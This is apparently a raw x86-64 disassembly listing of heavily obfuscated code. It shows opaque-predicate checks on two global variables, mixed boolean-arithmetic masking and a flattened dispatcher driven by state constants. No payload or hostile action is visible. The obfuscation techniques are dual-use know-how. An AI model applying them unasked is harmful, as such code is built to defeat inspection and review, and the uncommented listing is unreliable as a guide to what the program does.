test bl, 1
mov eax, 0x7701af91
jmp 0x140140dec
mov ecx, 0xf714412
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov ecx, 0x98b34977
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov ecx, 0x82daa19e
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov ecx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
not edx
and ebp, 0x50aba6b8
and edx, 0xaf545947
or edx, ebp
mov ebp, edx
xor ebp, 0x50030218
xor edx, 0xaf545947
mov ecx, edx
or ecx, 1
mov ebx, ecx
not ebx
and edx, 0xff8f4a1
and ebp, 0xf0070b5e
or ebp, edx
mov edx, ebp
xor edx, 0xa0070a0f
xor ebp, 0xff8f4a0
mov edi, ecx
and edi, 0x52d00170
and ebx, 0xad2ffe8e
or ebx, edi
or ecx, ebp
and ebp, 0x52d00170
and edx, 0xad2ffe8f
or edx, ebp
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
and ebp, 0x63573a4a
and edx, 0x9ca8c5b5
or edx, ebp
xor edx, 0x9ca8c5b5
or edx, ecx
cmp edx, 0xffffffff
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
xor cl, dl
and dl, bl
or bl, r8b
xor bl, 1
or bl, cl
mov r9d, ebx
xor r9b, 1
and al, r8b
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ecx, edx
and cl, al
xor al, dl
or al, cl
and r9b, al
xor al, 1
and al, bl
or al, r9b
mov ecx, ebx
and cl, dl
xor dl, bl
or dl, cl
mov ecx, edx
xor cl, al
test dl, dl
mov edx, 0x62f15119
mov ebp, 0xab0ed83d
cmovne edx, ebp
test al, 1
cmove edx, ebp
not cl
test cl, 1
mov eax, 0x62f15119
cmovne edx, eax
jmp 0x14014036d
mov ecx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea edi, [rcx - 1]
imul edi, ecx
mov ecx, edi
not ecx
mov ebp, ecx
and ebp, 0xfe536ae7
mov edx, edi
and edx, 0x1ac9518
or edx, ebp
mov ebp, edx
xor ebp, 0x840000
xor edx, 0xce026840
mov ebx, edi
or ebx, 0xcf2afd58
and edx, 0xcf2afd58
and ebp, 0x30d502a6
or ebp, edx
and ebx, 0xcf2afd59
xor ebx, ebp
mov edx, ebx
not edx
mov ebp, edx
and ebp, 0xf0467331
and ebx, 0xfb98cce
or ebx, ebp
and edi, 0xf0467331
and ecx, 0xfb98cce
or ecx, edi
xor ecx, ebx
xor edx, ecx
test edx, ecx
sete cl
setne dl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
and dl, al
mov ebx, r8d
and bl, cl
or bl, dl
mov r9d, ebx
xor r9b, al
and r9b, bl
xor al, cl
not al
and al, cl
xor cl, r8b
and cl, r8b
mov ebx, eax
xor bl, 1
xor al, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, al
mov eax, r9d
xor al, 1
and al, cl
xor cl, 1
mov edx, r9d
xor dl, cl
and dl, r9b
and cl, r9b
or cl, al
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x3b8bd520
mov ebp, 0x3dc8f582
cmovne eax, ebp
test cl, 1
mov ecx, eax
jmp 0x14013bb4e
mov edx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0xb0502084
mov ebp, ecx
and ebp, 0x9045a30
or ebp, edx
xor ebp, 0x9045a30
and ecx, 0x46ab854b
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x46ab854b
and ecx, 0xb9547ab4
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
or ebp, 1
mov ebx, ebp
not ebx
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ecx
not edx
mov edi, ebp
and edi, 0xfce6ff4
and ebx, 0xf031900a
or ebx, edi
or ebp, edx
and edx, 0xfce6ff4
and ecx, 0xf031900b
or ecx, edx
xor ecx, ebx
not ebp
or ebp, ecx
mov ecx, ebp
mov edx, ebp
xor edx, 0x2911b65
and edx, ebp
not ebp
and ebp, 0x111240
and ecx, 0x2800925
or ecx, ebp
xor ecx, 0x2800925
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0xfd6ee49a
and edx, 0x2911b65
or edx, ecx
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0x9dab254c
and edx, 0x6254dab3
or edx, ebp
xor edx, 0x9dab254c
xor ecx, edx
test ecx, edx
sete r9b
setne r10b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r8b
mov ebx, r10d
xor bl, r9b
and bl, r10b
mov edx, ebx
xor dl, 1
mov eax, edx
and al, bl
mov r11d, edx
xor r11b, al
xor al, 1
or al, bl
xor al, 1
or al, r11b
or dl, bl
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
mov eax, edx
xor al, 1
and dl, al
xor dl, 1
mov ebx, edx
xor bl, al
or dl, al
xor dl, 1
or dl, bl
mov eax, edx
and al, r8b
xor dl, 1
and dl, cl
or dl, al
mov eax, ecx
xor al, r9b
and al, cl
and r10b, r8b
and cl, r9b
or cl, r10b
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, ecx
not al
and al, cl
xor al, 1
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
mov ecx, eax
xor cl, 1
mov ebx, edx
xor bl, 1
and al, bl
or bl, cl
and cl, dl
or cl, al
mov eax, ecx
xor al, bl
test cl, cl
mov ecx, 0x1fced52c
mov ebp, 0x592eb017
cmovne ecx, ebp
test bl, 1
mov edx, 0x1fced52c
jmp 0x14013de1a
mov ecx, 0x90dc0796
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov ecx, 0xde3612b0
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov eax, dword [0x1402656e8]
lea ebp, [rax - 1]
imul ebp, eax
mov eax, ebp
not eax
mov ecx, ebp
or ecx, 0x3c9d8913
mov ebx, ecx
not ebx
mov edi, eax
or edi, 0xc36276ec
mov edx, edi
not edx
and ecx, 0x1cdd88d1
and ebx, 0xc322762c
or ebx, ecx
and edi, 0x1cdd88d1
and edx, 0x20000102
or edx, edi
xor edx, ebx
mov ecx, edx
not ecx
and ecx, 0x5b1268cc
and edx, 0xa4ed9733
or edx, ecx
mov ecx, edx
xor ecx, 0x648c2188
xor edx, 0x98701e21
mov ebx, edx
and ebx, 0x353c857
and ecx, 0xfcac37a8
or ecx, ebx
and ebp, 0x353c857
and eax, 0xfcac37a8
or eax, ebp
xor eax, ecx
not eax
or eax, edx
cmp eax, 0xffffffff
sete r8b
setne cl
cmp dword [0x1402656e4], 9
setg al
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov edx, ecx
xor dl, 1
mov ebx, eax
xor bl, r8b
not bl
and bl, r8b
or al, r8b
xor al, 1
mov r8d, ebx
and r8b, al
xor al, bl
or al, r8b
xor al, 1
and dl, cl
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
xor dl, al
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x1b656e8e
mov ebp, 0x6c0105b7
cmovne eax, ebp
test dl, 1
cmove eax, ebp
test cl, 1
mov ecx, 0x1b656e8e
jmp 0x14013281c
mov eax, dword [0x1402656e8]
lea ebx, [rax - 1]
imul ebx, eax
mov ecx, ebx
not ecx
mov ebp, ebx
or ebp, 1
mov edx, ebp
not edx
mov eax, ecx
or eax, 0x37220112
and ebp, 0x37220113
and edx, 0xc8ddfeec
or edx, ebp
and eax, 0x37220113
xor eax, edx
mov edx, eax
not edx
and edx, 0x4bdb0008
and eax, 0xb424fff7
or eax, edx
mov edx, eax
xor edx, 0x8024b616
xor eax, 0x4bdb0008
mov ebp, eax
and ebp, 0x74d049e9
and edx, 0x8b2fb616
or edx, ebp
or eax, ebx
and ebx, 0x74d049e9
and ecx, 0x8b2fb616
or ecx, ebx
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x2da46dee
and eax, 0xd25b9211
or eax, ecx
xor eax, 0xd25b9211
sete al
cmp dword [0x1402656e4], 0xa
setl cl
mov edx, ecx
or dl, al
xor dl, 1
xor cl, al
or dl, cl
xor dl, 1
xor cl, dl
mov eax, ecx
xor al, 1
and dl, al
xor al, dl
test al, 1
mov eax, 0xdc6067a7
mov ebp, 0xb042ad55
cmovne eax, ebp
test cl, cl
mov ecx, eax
mov ebp, 0xdc6067a7
cmovne ecx, ebp
test dl, dl
jmp 0x140140dec
mov edx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xfffffffe
mov ebx, ecx
xor ebx, 0xfffffffe
and ebx, ecx
mov edi, ebp
and edi, ebx
xor ebx, ebp
or ebx, edi
and edx, 0xc76a9ed
and ecx, 0xf3895612
or ecx, edx
mov edx, ecx
xor edx, 0xf3895612
xor ecx, 0xc76a9ed
and ecx, ebx
not ebx
and edx, ebx
or ecx, edx
xor ebx, ecx
test ebx, ecx
setne r8b
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg cl
mov eax, ecx
xor al, dl
xor al, 1
or al, cl
and dl, cl
and bl, r8b
or bl, dl
xor bl, 1
mov edx, eax
or dl, bl
xor bl, al
mov eax, edx
xor al, bl
mov eax, 0x1a209655
mov ecx, 0x34d0df31
cmovne eax, ecx
test bl, bl
mov ecx, eax
mov ebp, 0x1a209655
jmp 0x140140887
mov rax, qword [rsp + 0x38]
mov qword [0x1402650a0], rax
mov ecx, 0xc1a27751
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov ecx, 0x92e1a554
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov ecx, dword [0x1402656e8]
lea edi, [rcx - 1]
imul edi, ecx
mov edx, edi
not edx
mov ecx, edx
and ecx, 0xa2601428
mov eax, edi
and eax, 0x10c900
or eax, ecx
mov ebx, eax
xor ebx, 0x800
xor eax, 0x490e1480
mov ebp, edx
or ebp, 0xa270dd28
mov ecx, ebp
not ecx
and eax, 0x491ed580
and ebx, 0xa2600828
or ebx, eax
and ebp, 0x491ed580
and ecx, 0x14812257
or ecx, ebp
xor ecx, ebx
mov eax, ecx
not eax
and eax, 0x5d8f22d6
and ecx, 0xa270dd29
or ecx, eax
mov eax, ecx
not eax
and edx, 0xacf1cf04
and edi, 0x530e30fb
or edi, edx
mov edx, edi
xor edx, 0xa20d1
xor edi, 0xacf1cf04
mov ebp, ecx
and ebp, 0x7b84d92a
and eax, 0x847b26d5
or eax, ebp
or ecx, edi
and edi, 0x7b84d92a
and edx, 0x847b26d5
or edx, edi
xor edx, eax
not ecx
or ecx, edx
cmp ecx, 0xffffffff
setne r8b
sete dl
cmp dword [0x1402656e4], 0xa
setl bl
mov ecx, ebx
xor cl, dl
or dl, bl
xor dl, 1
or dl, cl
mov eax, edx
xor al, 1
xor r8b, bl
mov ecx, edx
and cl, al
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
and dl, r8b
xor r8b, 1
and cl, r8b
or cl, dl
mov edx, eax
xor dl, r8b
or r8b, al
xor r8b, 1
or r8b, dl
mov eax, r8d
xor al, cl
test r8b, 1
mov edx, 0xa001aee2
mov ebp, 0xdf43707
cmovne edx, ebp
test cl, cl
cmove edx, ebp
test al, 1
mov eax, 0xa001aee2
jmp 0x14014036a
mov eax, dword [0x1402656e8]
mov ecx, dword [0x1402656e4]
lea ebx, [rax - 1]
imul ebx, eax
mov eax, ebx
not eax
mov ebp, eax
and ebp, 0xfffffffe
mov edx, ebx
and edx, 1
or edx, ebp
mov edi, edx
not edi
mov ebp, edi
and ebp, 0x912e23e3
and edx, 0x6ed1dc1c
or edx, ebp
and ebx, 0x912e23e3
and eax, 0x6ed1dc1c
or eax, ebx
xor eax, edx
not eax
or eax, edi
cmp eax, 0xffffffff
sete r8b
setne r10b
cmp ecx, 9
setg al
cmp ecx, 0xa
setl r9b
mov ebx, r10d
or bl, r9b
mov ecx, r10d
xor cl, r9b
not cl
and cl, r9b
xor cl, 1
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
mov edx, eax
xor dl, r8b
and dl, al
and r10b, r9b
and al, r8b
or al, r10b
mov ebx, edx
xor bl, 1
xor dl, al
xor al, 1
or al, bl
xor al, 1
or al, dl
xor al, cl
and cl, al
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x3361df0e
mov ebp, 0xb0ea1168
cmovne eax, ebp
test cl, 1
cmove eax, ebp
not dl
test dl, 1
mov ecx, 0x3361df0e
jmp 0x14013f446
mov ecx, 0xf521125f
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov edx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, ecx
or ebx, 1
mov ebp, ebx
not ebp
or ecx, 0xef824f8
and ebx, 0xef824f8
and ebp, 0xf107db06
or ebp, ebx
and ecx, 0xef824f9
xor ecx, ebp
mov ebp, ecx
not ebp
and ebp, 0x87a76d72
and ecx, 0x7858928d
or ecx, ebp
xor ecx, 0x7858928d
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
cmp ecx, 0xffffffff
sete dl
setne r8b
cmp eax, 0xa
setl cl
cmp eax, 9
setg bl
xor r8b, bl
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, r8b
and al, dl
or bl, dl
xor al, 1
mov edx, eax
xor dl, bl
or al, bl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
xor al, cl
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xcf11284
mov ebp, 0xc28b3c44
cmovne ecx, ebp
test dl, 1
mov edx, 0xcf11284
jmp 0x14013d555
mov ecx, 0x1683ff6f
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov ecx, 0x480aa2bf
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov ecx, 0x4215d4e7
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov ecx, 0x686b0d9e
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov eax, dword [0x1402656e8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0x11e76e06
and ecx, 0xee1891f9
or ecx, eax
mov eax, ecx
not eax
and eax, 0xc942a84e
and ecx, 0x36bd57b1
or ecx, eax
mov eax, ecx
xor eax, 0x275a39b7
mov edx, ecx
xor edx, 0x275a39b6
and edx, eax
xor ecx, 0xd8a5c648
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, ecx
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x9189258e
and eax, 0x6e76da71
or eax, edx
xor eax, 0x6e76da71
or eax, ecx
cmp eax, 0xffffffff
sete al
cmp dword [0x1402656e4], 9
setg cl
xor al, cl
mov edx, eax
not dl
xor cl, al
and cl, al
mov ebx, ecx
xor bl, 1
and dl, bl
or bl, al
and cl, al
or cl, dl
mov eax, ebx
xor al, cl
test cl, cl
mov ecx, 0xa48af1b5
mov edx, 0xa1544e86
cmovne ecx, edx
test bl, bl
mov ebp, 0xa48af1b5
cmovne ecx, ebp
jmp 0x140140457
mov ecx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, ecx
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0xc430480d
mov ebx, edx
and ebx, 0x3bcfb7f2
or ebx, ecx
mov ecx, ebx
xor ecx, 0x3bcfb7f2
mov ebp, ecx
and ebp, 0x19c0f70c
and edx, 0xe63f08f3
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0xe63f08f2
and edx, 0x19c0f70d
or edx, ebp
and ecx, 1
xor ebx, 0x3bcfb7f3
or ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0xdcb5252c
and ebx, 0x234adad3
or ebx, ecx
mov ebp, ebx
xor ebp, 0x20404053
mov ecx, edx
not ecx
xor ebx, 0xdcb5252c
mov edi, ecx
and edi, 0xdf8ebba4
and edx, 0x2071445b
or edx, edi
or ecx, ebx
and ebx, 0xdf8ebba4
and ebp, 0x2071445b
or ebp, ebx
xor ebp, edx
not ecx
or ecx, ebp
mov edx, ecx
not edx
mov ebp, ecx
xor ebp, 0xc4af339b
and ebp, ecx
or ecx, 0x3b50cc64
mov ebx, ebp
not ebx
mov edi, ecx
and edi, 0xc9e4c175
and edx, 0x40b328a
or edx, edi
or ecx, ebx
and ebx, 0xc9e4c175
and ebp, 0x361b3e8a
or ebp, ebx
xor ebp, edx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x3b50cc64
and ecx, 0xc4af339b
or ecx, edx
mov edx, ecx
not edx
and edx, 0xb7373601
and ecx, 0x48c8c9fe
or ecx, edx
mov edx, ecx
xor edx, 0x4000c914
xor ecx, 0xb4343601
and ecx, 0xbcfc36eb
and edx, 0x4303c914
or edx, ecx
xor edx, 0xbcfc36eb
cmp edx, 0xffffffff
sete r8b
setne r9b
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov r10d, eax
xor r10b, r9b
mov edx, r10d
xor dl, 1
xor bl, r8b
or al, r9b
xor al, 1
or al, bl
xor al, 1
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
xor al, 1
mov ecx, edx
and cl, r10b
xor dl, cl
xor cl, 1
or cl, r10b
xor cl, 1
or cl, dl
xor cl, al
mov edx, r10d
xor dl, al
or al, r10b
xor al, 1
or al, dl
mov edx, ecx
xor dl, al
not dl
test dl, 1
mov edx, 0xdb52226
mov ebp, 0x17cab8be
cmovne edx, ebp
test al, 1
mov eax, 0xdb52226
cmovne eax, edx
test cl, 1
cmovne eax, edx
jmp 0x14013f449
mov eax, dword [0x1402656e8]
mov ecx, dword [0x1402656e4]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and edx, 0xab755f87
and eax, 0x548aa078
or eax, edx
mov edx, eax
xor edx, 0xab755f87
mov ebp, eax
xor ebp, 0xab755f86
and ebp, edx
xor eax, 0x5082a010
and eax, 0xf893e916
and edx, 0x76c16e9
or edx, eax
xor edx, 0x76c16e8
mov eax, ebp
and eax, edx
xor edx, ebp
or edx, eax
mov eax, edx
not eax
and edx, eax
mov ebp, eax
and ebp, edx
xor edx, eax
or edx, ebp
sete r8b
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
xor bl, cl
and bl, cl
xor bl, 1
mov eax, ebx
xor al, r8b
not al
and al, r8b
or bl, r8b
xor bl, 1
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
mov eax, ecx
and al, r8b
xor cl, r8b
or al, cl
mov edx, eax
xor dl, cl
xor cl, 1
xor dl, 1
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
and cl, al
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
mov edx, ebx
xor dl, 1
and cl, dl
or dl, al
and al, bl
or al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xae9c2b9a
mov ebp, 0x5c5db711
cmovne ecx, ebp
test al, 1
mov eax, ecx
mov ebp, 0xae9c2b9a
cmovne eax, ebp
test dl, 1
jmp 0x14013f446
mov ecx, 0x596475b0
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov edx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov esi, ecx
not esi
mov ebp, ecx
xor ebp, 0xcc6e7e85
and ebp, ecx
or ecx, 0x3391817a
mov ebx, ebp
not ebx
mov edi, ecx
and edi, 0x5b02a59b
mov edx, esi
and edx, 0x846c5a04
or edx, edi
or ecx, ebx
and ebx, 0x5b02a59b
and ebp, 0xa4fd5a64
or ebp, ebx
xor ebp, edx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x3391817b
and ecx, 0xcc6e7e84
or ecx, edx
mov edx, ecx
not edx
and edx, 0xf3a1c59c
and ecx, 0xc5e3a63
or ecx, edx
xor ecx, 0xc5e3a63
mov edx, ecx
and edx, esi
xor ecx, esi
or ecx, edx
cmp ecx, 0xffffffff
sete cl
setne dl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
and dl, al
mov ebx, r8d
and bl, cl
or bl, dl
mov edx, ebx
xor dl, al
and dl, bl
xor al, cl
not al
and al, cl
xor cl, r8b
and cl, r8b
xor al, 1
xor cl, 1
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
mov eax, edx
xor al, 1
mov ebx, ecx
xor bl, 1
and cl, al
or al, bl
and bl, dl
or bl, cl
mov edx, eax
xor dl, bl
test bl, 1
mov ecx, 0x2b984291
mov ebp, 0x4db40ab5
cmovne ecx, ebp
test al, 1
mov eax, 0x2b984291
jmp 0x14013ee27
mov ecx, dword [0x1402656e8]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, eax
not ecx
and ecx, 0x2100070
mov edx, eax
and edx, 0x49002184
or edx, ecx
xor edx, 0x49002184
and eax, 0xb4efde0b
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xb4efde0b
and eax, 0x4b1021f4
or eax, ecx
mov ecx, eax
xor ecx, 1
and ecx, eax
mov edx, eax
not edx
and edx, 0xfffffffe
and eax, 1
or eax, edx
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, eax
mov ebp, edx
not ebp
mov ebx, eax
and ebx, 0xa7458436
and ecx, 0x58ba7bc9
or ecx, ebx
or eax, ebp
and ebp, 0xa7458436
and edx, 0x58ba7bc9
or edx, ebp
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x393c896c
and eax, 0xc6c37693
or eax, edx
xor eax, 0xc6c37693
or eax, ecx
cmp eax, 0xffffffff
sete al
cmp dword [0x1402656e4], 0xa
setl bl
mov edx, ebx
or dl, al
xor dl, 1
mov ecx, ebx
xor cl, al
or dl, cl
and al, cl
and cl, bl
mov ebx, eax
xor bl, 1
xor al, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, al
mov eax, edx
xor al, cl
xor cl, 1
or cl, dl
xor al, 1
mov edx, ecx
xor dl, al
test al, 1
mov eax, 0x1fced52c
mov ebp, 0x3cd3f9c8
cmovne eax, ebp
test cl, 1
mov ecx, 0x1fced52c
cmovne eax, ecx
test dl, 1
cmove eax, ebp
jmp 0x14013f449
mov ecx, 0xca3849d7
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov eax, dword [0x1402656e8]
mov ecx, dword [0x1402656e4]
lea ebp, [rax - 1]
imul ebp, eax
mov eax, ebp
not eax
mov ebx, eax
and ebx, 0xfffffffe
mov edx, ebp
and edx, 1
or edx, ebx
mov ebx, edx
not ebx
and ebx, 0xd76d3728
and edx, 0x2892c8d7
or edx, ebx
mov ebx, edx
xor ebx, 0x8008053
xor edx, 0xd76d3728
mov edi, edx
and edi, 0x34da6884
and ebx, 0xcb25977b
or ebx, edi
or edx, ebp
and ebp, 0x34da6884
and eax, 0xcb25977b
or eax, ebp
xor eax, ebx
not edx
or edx, eax
cmp edx, 0xffffffff
setne r9b
sete r8b
cmp ecx, 0xa
setl al
cmp ecx, 9
setg dl
mov ecx, edx
xor cl, r8b
not cl
and cl, r8b
or dl, r8b
mov ebx, edx
xor bl, cl
xor cl, 1
xor bl, 1
or cl, dl
xor cl, 1
or cl, bl
xor r9b, al
xor r9b, 1
mov edx, eax
and dl, r8b
xor al, r8b
or al, dl
xor al, 1
mov edx, r9d
and dl, al
xor al, r9b
or al, dl
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, al
and bl, cl
and al, cl
xor cl, 1
and cl, dl
or al, cl
mov ecx, ebx
xor cl, al
test cl, 1
mov edx, 0x52af25c3
mov ebp, 0xddd8dfea
cmovne edx, ebp
test al, 1
mov ecx, edx
cmovne ecx, ebp
jmp 0x14013f164
mov ecx, 0x5ec700ff
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov ecx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
not ecx
mov ebx, ecx
or ebx, 0xc6886a34
mov edx, ebx
not edx
or ebp, 0x380191c8
and ebp, 0x7c89d9dc
and ecx, 0x82002220
or ecx, ebp
and ebx, 0x7c89d9dc
and edx, 0x1760403
or edx, ebx
xor edx, ecx
mov ecx, edx
not ecx
and ecx, 0x53996b95
and edx, 0xac66946a
or edx, ecx
mov ebx, edx
xor ebx, 0x6aeefe5e
mov ecx, edx
xor ecx, 0x951101a1
xor edx, 0xda7ea57c
and edx, ecx
mov ebp, ebx
and ebp, 0x4f6fa4dd
mov edi, edx
and edi, ebp
xor ebp, edx
or ebp, edi
mov edx, ebp
not edx
and edx, 0x7bd6e538
and ebp, 0x84291ac7
or ebp, edx
xor ebp, 0x34b941e4
and ebx, 0xe881be8d
mov edx, ecx
and edx, 0x177e4172
or edx, ebx
xor edx, 0xe881be8c
and ecx, 1
or ecx, edx
not ecx
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x4efcfed6
and edx, ecx
and ecx, 0xb1030129
or ecx, ebp
xor ecx, 0xb1030129
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xe58799db
and ecx, 0x1a786624
or ecx, ebp
xor ecx, 0xe58799db
xor edx, ecx
test edx, ecx
sete cl
setne dl
cmp eax, 9
setg r8b
cmp eax, 0xa
setl bl
mov eax, edx
xor al, cl
and al, dl
mov edx, eax
xor dl, 1
and dl, r8b
and al, bl
or al, dl
mov edx, ebx
or dl, cl
xor bl, cl
mov ecx, edx
xor cl, bl
xor bl, 1
xor cl, 1
or bl, dl
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, 1
mov edx, ecx
and dl, bl
xor cl, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, cl
mov ecx, eax
xor cl, 1
xor al, dl
xor dl, 1
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ebx, edx
xor bl, al
test dl, 1
mov ecx, 0xb6e33aa1
mov edx, 0x73e9c2d
cmovne ecx, edx
test al, 1
cmove ecx, edx
test bl, 1
mov eax, 0xb6e33aa1
jmp 0x140140dec
mov ecx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
or ecx, 0xf1806422
mov ebp, ecx
not ebp
mov edx, ebx
xor edx, 0xe7f9bdd
and edx, ebx
mov edi, edx
not edi
mov esi, ecx
and esi, 0x401c97bc
and ebp, 0xe630841
or ebp, esi
or ecx, edi
and edi, 0x401c97bc
and edx, 0xbfe36843
or edx, edi
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xf1806423
and ecx, 0xe7f9bdc
or ecx, edx
mov edx, ecx
and ecx, ebx
not ebx
not edx
and ebx, edx
or ecx, ebx
not ecx
or ecx, edx
cmp ecx, 0xffffffff
sete r9b
setne cl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
mov ebx, eax
and bl, cl
mov edx, eax
xor dl, cl
or dl, bl
xor al, r9b
not al
and al, r9b
xor cl, r8b
not cl
and cl, r8b
mov ebx, eax
xor bl, 1
xor al, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, al
mov eax, ecx
and cl, dl
xor dl, 1
xor al, 1
mov ebx, edx
xor bl, al
and bl, dl
and al, dl
or al, cl
mov ecx, ebx
xor cl, al
test cl, 1
mov ecx, 0x59b41691
mov edx, 0x79111093
jmp 0x140132810
mov edx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and ecx, edx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
mov ebx, ecx
xor ebx, 0xbc1014e6
and ebx, edx
mov ebp, ecx
and ebp, 0x43efeb19
mov edi, ebx
and edi, ebp
xor ebp, ebx
or ebp, edi
mov ebx, ebp
not ebx
and ebx, 0x43efeb18
and ebp, 0xbc1014e7
or ebp, ebx
and edx, 1
xor ecx, 0xfffffffe
or ecx, edx
mov edx, ecx
not edx
and edx, 0x2977ed1a
and ecx, 0xd68812e5
or ecx, edx
mov ebx, ecx
xor ebx, 0x108012e4
mov edx, ebp
not edx
xor ecx, 0x2977ed1a
mov edi, edx
and edi, 0xc65e4911
and ebp, 0x39a1b6ee
or ebp, edi
or edx, ecx
and ecx, 0xc65e4911
and ebx, 0x39a1b6ee
or ebx, ecx
xor ebx, ebp
not edx
or edx, ebx
mov ebx, edx
not ebx
or edx, 0x2b3baa82
mov ebp, edx
